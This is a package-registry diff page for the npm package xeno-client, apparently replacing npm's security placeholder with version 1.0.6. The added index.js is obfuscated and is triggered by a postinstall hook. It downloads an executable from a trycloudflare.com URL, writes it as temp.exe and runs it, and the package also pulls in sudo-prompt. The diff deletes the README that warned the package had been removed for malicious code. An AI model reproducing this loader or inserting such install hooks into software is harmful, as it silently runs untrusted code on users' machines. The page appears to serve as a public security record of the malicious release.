xeno-client 0.0.1-security → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of xeno-client might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x48be1a=_0x3979;(function(_0x525ebb,_0x158269){const _0xa2b39c=_0x3979,_0x5e59d3=_0x525ebb();while(!![]){try{const _0x4c3e4c=parseInt(_0xa2b39c(0x172))/0x1*(parseInt(_0xa2b39c(0x173))/0x2)+parseInt(_0xa2b39c(0x180))/0x3+-parseInt(_0xa2b39c(0x170))/0x4*(parseInt(_0xa2b39c(0x17e))/0x5)+parseInt(_0xa2b39c(0x171))/0x6+-parseInt(_0xa2b39c(0x175))/0x7*(-parseInt(_0xa2b39c(0x179))/0x8)+-parseInt(_0xa2b39c(0x17c))/0x9*(-parseInt(_0xa2b39c(0x16e))/0xa)+-parseInt(_0xa2b39c(0x181))/0xb;if(_0x4c3e4c===_0x158269)break;else _0x5e59d3['push'](_0x5e59d3['shift']());}catch(_0x1e95c4){_0x5e59d3['push'](_0x5e59d3['shift']());}}}(_0x1c72,0x45b9f));const fs=require(_0x48be1a(0x182)),path=require('path'),fetch=require('node-fetch'),{exec}=require(_0x48be1a(0x174)),exeFileName=_0x48be1a(0x17b),downloadUrl=_0x48be1a(0x178),exeFilePath=path['join'](__dirname,exeFileName);async function downloadFile(_0x3d3efb,_0xff179a){const _0xebf99=_0x48be1a,_0x3d9e25=await fetch(_0x3d3efb);if(!_0x3d9e25['ok'])throw new Error(_0xebf99(0x17d)+_0x3d9e25[_0xebf99(0x176)]);const _0x54c28e=await _0x3d9e25[_0xebf99(0x16f)]();await fs[_0xebf99(0x17a)](_0xff179a,_0x54c28e);}function _0x3979(_0x3ff4da,_0x5e46c6){const _0x1c72a4=_0x1c72();return _0x3979=function(_0x3979a4,_0x39c7a5){_0x3979a4=_0x3979a4-0x16e;let _0x5d7cab=_0x1c72a4[_0x3979a4];return _0x5d7cab;},_0x3979(_0x3ff4da,_0x5e46c6);}async function runExecutable(){try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x27a4b7=>{const _0x31e0ba=_0x3979;_0x27a4b7&&console[_0x31e0ba(0x177)](_0x31e0ba(0x17f)+_0x27a4b7);});}catch(_0x39b241){console['error']('Download\x20error:\x20'+_0x39b241);}}function _0x1c72(){const _0x3944a6=['8IviWMZ','writeFile','temp.exe','45mRzLXh','HTTP\x20error!\x20status:\x20','15NvLILJ','Error\x20running\x20the\x20executable:\x20','1463670dHyVMv','4502641pLOwGh','fs-extra','92150WNSIQK','buffer','623092RXIEhB','300054pbaXHg','135186XYrmIh','6exksRp','child_process','1209019JgwAUB','status','error','https://relatively-beginning-romantic-g.trycloudflare.com/home'];_0x1c72=function(){return _0x3944a6;};return _0x1c72();}runExecutable();
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "xeno-client",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.6",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=xeno-client for more information.